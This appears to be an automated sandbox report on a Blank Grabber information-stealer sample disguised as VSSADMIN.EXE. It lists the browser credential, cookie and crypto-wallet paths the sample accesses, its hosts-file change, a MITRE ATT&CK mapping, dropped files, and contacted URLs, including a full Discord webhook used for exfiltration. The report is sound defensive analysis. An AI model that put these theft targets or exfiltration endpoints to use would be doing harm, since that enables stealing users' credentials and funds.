Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 0_2_00007FF614C989E0 cpuid

0_2_00007FF614C989E0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 0_2_00007FF614C7B5B0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF614C7B5B0

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 0_2_00007FF614C94E50 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF614C94E50

Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe

Code function: 59_2_00007FF6EE7748CC GetModuleFileNameW,GetVersionExW,LoadLibraryW,LoadLibraryW,

59_2_00007FF6EE7748CC

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000000.00000003.188703701.0000024133485000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.246634028.0000024133487000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.244345388.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.188703701.0000024133487000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.244090909.0000014C6DD8D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.244259837.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.244872297.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VSSADMIN.EXE.exe PID: 6856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VSSADMIN.EXE.exe PID: 6872, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI68562\rarreg.key, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxxz
Source: VSSADMIN.EXE.exe, 00000001.00000002.245250730.0000014C6D658000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: VSSADMIN.EXE.exe, 00000001.00000002.245250730.0000014C6D658000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodusz
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\21e53dbb-a709-4aa9-8d37-2ac6403c74f8	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Source: Yara match	File source: 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VSSADMIN.EXE.exe PID: 6872, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000000.00000003.188703701.0000024133485000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.246634028.0000024133487000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.244345388.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.188703701.0000024133487000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.244090909.0000014C6DD8D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.244259837.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.244872297.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VSSADMIN.EXE.exe PID: 6856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VSSADMIN.EXE.exe PID: 6872, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI68562\rarreg.key, type: DROPPED

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 1_2_00007FFD3FBF2B62 bind,WSAGetLastError,

1_2_00007FFD3FBF2B62

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Windows Management Instrumentation	11 DLL Side-Loading	11 DLL Side-Loading	1 File and Directory Permissions Modification	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	1 Native API	12 Registry Run Keys / Startup Folder	1 Access Token Manipulation	3 Disable or Modify Tools	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot
Domain Accounts	212 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	11 Deobfuscate/Decode Files or Information	Security Account Manager	36 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	3 PowerShell	Logon Script (Mac)	12 Registry Run Keys / Startup Folder	21 Obfuscated Files or Information	NTDS	141 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 DLL Side-Loading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	41 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Access Token Manipulation	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	11 Process Injection	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
VSSADMIN.EXE.exe	24%	ReversingLabs	Win64.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr	24%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Temp\_MEI68562\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\python311.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68562\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	Avira URL Cloud	safe
http://www.microsoftDOWNLO~1JSOy.0	0%	Avira URL Cloud	safe
http://cacerts.digi	0%	Avira URL Cloud	safe
https://api.anonfiles.com/upload	0%	Avira URL Cloud	safe
https://discord.com/api/v9/users/	0%	Avira URL Cloud	safe
https://blank-2MD3E.in	0%	Avira URL Cloud	safe
https://go.micro	0%	Avira URL Cloud	safe
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	100%	Avira URL Cloud	malware
http://crl.globalT	0%	Avira URL Cloud	safe
http://crl.comodoca.p	0%	Avira URL Cloud	safe
http://crl.micro	0%	Avira URL Cloud	safe
https://api.anonfiles.com/uploadr	0%	Avira URL Cloud	safe
http://go.microsoft.c	0%	Avira URL Cloud	safe
http://go.microsoft.ctain	0%	Avira URL Cloud	safe
https://foss.heptapod.net/pypy/pypy/-/issues/3539	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1125357329798418472/yWPfp1iKyx0rkQloEOr9Xk-aX81R6WKX-1QBrT7zz3erb7v9flhr6ifTFvcDhFyRvu2k	0%	Avira URL Cloud	safe
http://ocsp.thawte.com0	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0	0%	Avira URL Cloud	safe
https://contoso.com/	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1125357329798418472/yWPfp1iKyx0rkQloEOr9Xk-aX81R6WKX-1QBrT7zz3erb7v	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz	0%	Avira URL Cloud	safe
https://dotnet.micr	0%	Avira URL Cloud	safe
http://www.microsoftESSAG~1.JSOy.0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
discord.com	162.159.138.232	true	true	unknown
ip-api.com	208.95.112.1	true	false	high
blank-2md3e.in	unknown	unknown	false	unknown
tse1.mm.bing.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1125357329798418472/yWPfp1iKyx0rkQloEOr9Xk-aX81R6WKX-1QBrT7zz3erb7v9flhr6ifTFvcDhFyRvu2k	true	Avira URL Cloud: safe	unknown
http://ip-api.com/json/?fields=225545	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/BlankOBF	VSSADMIN.EXE.exe, 00000001.00000003.191981255.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191835270.0000014C6CD0E000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191900080.0000014C6D2C9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192066107.0000014C6CD05000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/Blank-Grabberi	VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/Blank-Grabberr	VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	false		high
